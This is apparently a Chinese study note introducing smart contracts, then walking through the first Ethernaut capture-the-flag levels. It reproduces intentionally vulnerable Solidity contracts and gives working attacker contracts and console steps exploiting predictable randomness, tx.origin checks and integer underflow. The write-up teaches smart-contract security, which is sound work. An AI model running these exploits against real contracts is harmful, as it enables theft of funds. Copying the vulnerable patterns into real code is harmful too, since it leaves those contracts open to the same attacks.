智能合约
定义:
智能合约是一种基于区块链技术的自动化合约,它能够执行、管理和强制合约条款,而无需第三方介入。智能合约通过编码和存储在区块链上的计算机代码来定义合同条件,并在满足条件时自动执行相关操作。这种自动执行使得智能合约具有高度透明性、不可篡改性和安全性
智能合约数据类型(代码结构)
智能合约可以支持多种数据类型,通常包括以下几类:
-
基本数据类型:类似于其他编程语言中的基本数据类型,包括整数、浮点数、布尔值等。
-
地址类型:用于表示合约或用户的地址。在以太坊等区块链平台上,地址类型通常是一个20字节的十六进制数。
-
字符串类型:用于表示文本数据,可以是固定长度的字符串或动态长度的字符串。
-
数组类型:用于存储一组相同类型的数据。智能合约通常支持静态数组和动态数组。
-
结构体类型:用于定义包含多个字段的自定义数据结构,类似于其他编程语言中的结构体或对象。
-
映射类型:用于实现键值对的数据结构,类似于其他编程语言中的字典或哈希表。
-
枚举类型:用于定义一组可能的取值,通常用于表示有限状态机中的状态。
-
函数类型:用于表示函数指针或回调函数,在一些智能合约编程语言中可以作为参数或返回值。
案例
-
闪电贷款
-
保险
-
货币交换(去中心化交易所)
-
房屋买卖
题解
Hello Ethernaut
配置
-
注册Metamask
-
打开PoW Faucet挖币
-
在打开钱包就可以看到余额了
-
之后打开Ethernaut (openzeppelin.com) 链接钱包
-
点击下方的生成实例 在控制台按要求完成
Fallback
合约代码分析:
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Fallback {//声明合约Fallback mapping(address => uint256) public contributions;//键值address 值(整形) address public owner;//地址 constructor() { owner = msg.sender;//创建合约的地址 contributions[msg.sender] = 1000 * (1 ether);//ETH数额 } modifier onlyOwner() {//判断调用者是不是owner 在其他函数调用前使用 require(msg.sender == owner, "caller is not the owner"); _;//执行函数本体的内容 } function contribute() public payable { require(msg.value < 0.001 ether); contributions[msg.sender] += msg.value;//如果你给的钱小于0.001ether 可以导入 if (contributions[msg.sender] > contributions[owner]) { owner = msg.sender;//如果你的贡献大于owner 就可以成功取代他 } } function getContribution() public view returns (uint256) { //view读取函数 不会修改 pure既不读取也不修改 return contributions[msg.sender]; } function withdraw() public onlyOwner {//撤回 onlyOwner只有owner才能操作 payable(owner).transfer(address(this).balance);//转钱 把合约的地址转成owner地址 } receive() external payable {//一个合约里只能有一个 无参数 无返回值 require(msg.value > 0 && contributions[msg.sender] > 0); //如果发送者贡献大于0,且账户金额大于0 更换账户拥有者为发送者 owner = msg.sender; } }
破题点:
-
function contribute() public payable 也就是只要你满足取代条件就可以改变所有权(public)
-
receive() external payable只要满足里面的两个条件就可以改变所有权
解题步骤:
-
首先使用contribute()函数 贡献
-
使用sendTransaction函数,触发回退函数,变更owner
-
withdraw提现
完成!
Fal1out
代码分析:
// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "openzeppelin-contracts-06/math/SafeMath.sol"; contract Fallout { using SafeMath for uint256; mapping(address => uint256) allocations; address payable public owner; /* constructor */ function Fal1out() public payable {//调用这个函数 直接改变拥有者 owner = msg.sender; allocations[owner] = msg.value; } modifier onlyOwner() { require(msg.sender == owner, "caller is not the owner"); _; } function allocate() public payable { allocations[msg.sender] = allocations[msg.sender].add(msg.value); } function sendAllocation(address payable allocator) public { require(allocations[allocator] > 0); allocator.transfer(allocations[allocator]); } function collectAllocations() public onlyOwner { msg.sender.transfer(address(this).balance); } function allocatorBalance(address allocator) public view returns (uint256) { return allocations[allocator]; } }
破题点:
function Fal1out() public payable
Coin Flip
代码分析:
pragma solidity ^0.8.0; contract CoinFlip { uint256 public consecutiveWins; uint256 lastHash; uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; constructor() { consecutiveWins = 0; }//每次开始把赢的次数归零 function flip(bool _guess) public returns (bool) { uint256 blockValue = uint256(blockhash(block.number - 1)); if (lastHash == blockValue) { revert(); } lastHash = blockValue; uint256 coinFlip = blockValue / FACTOR; bool side = coinFlip == 1 ? true : false; if (side == _guess) { consecutiveWins++;如果我们猜的跟他算出来的一样的话连胜次数加一 return true; } else { consecutiveWins = 0; return false; } } }
破题点:
attack() external payable读取前一个区块的哈希值和一定的计算,预测硬币的正反面,并调用 challenge
合约的 flip
函数来尝试猜测硬币的正反面。
利用了区块哈希的不可预测性以及在 Solidity 中对整数除法的截断特性。通过在构造函数和 attack
函数中执行相同的操作,攻击者试图根据区块哈希计算出硬币正反面的预测值,并将其传递给 ICoinFilechallenge
接口的 flip
函数,以期获得一次成功的抛硬币结果。
攻击代码:
pragma solidity ^0.8.0; interface ICoinFilechallenge { function flip(bool _guess) external returns (bool); } contract CoinFlipAttacter{ ICoinFilechallenge public challenge; constructor(address challengeAddress){ challenge = ICoinFilechallenge(challengeAddress); uint256 blockvalue = uint256(blockhash(block.number - 1)); uint256 coinFlip = blockvalue / 57896044618658097711785492504343953926634992332820282019728792003956564819968; bool side = coinFlip == 1 ? true : false; challenge.flip(side); } function attack() external payable{ uint256 blockvalue = uint256(blockhash(block.number - 1)); uint256 coinFlip = blockvalue / 57896044618658097711785492504343953926634992332820282019728792003956564819968; bool side = coinFlip == 1 ? true : false; challenge.flip(side); } receive() external payable {} }
这个代码跑10次即可
Telephone
代码分析:
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Telephone { address public owner; constructor() { owner = msg.sender; } function changeOwner(address _owner) public { if (tx.origin != msg.sender) { owner = _owner; } } }
破题点:
tx.origin是合约的最初发起者,而msg.sender是合约的直接调用者
因此,我们使用A-->B-->C的方式,就可以使if条件成立,完成该题目
攻击代码:
pragma solidity ^0.8.0; interface ITelephoneChallenge { function changeOwner(address _owner) external; } contract TelephoneAttacker{ ITelephoneChallenge public challenge; constructor(address challengeAddress){ challenge = ITelephoneChallenge(challengeAddress); } function attack() external payable { challenge.changeOwner(tx.origin); } receive() external payable {} }
运行合约:
-
在这一题中打开控制台,输入this.contract.address得到合约地址
-
将这个地址复制到deploy后面,然后deploy
-
之后在下面选择attack
Token
代码分析:
// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract Token { mapping(address => uint256) balances;//键:地址,值:地址下有多少tocken uint256 public totalSupply; constructor(uint256 _initialSupply) public { balances[msg.sender] = totalSupply = _initialSupply; } function transfer(address _to, uint256 _value) public returns (bool) { require(balances[msg.sender] - _value >= 0); balances[msg.sender] -= _value; balances[_to] += _value; return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } }
破题点:
uint256无符号整型,意味着如果被减数小于减数时,会产生一个超级大的整数,从而通过题目
require(balances[msg.sender] - _value >= 0);这个判断条件很傻,没有任何用处,
把他改成 require(balances[msg.sender] >= _value );还好
-
注意使用一个非自己钱包的地址
-
使用await contract.transfer('0x31a3801499618d3c4b0225b9e06e228d4795b55d',30)来进行转账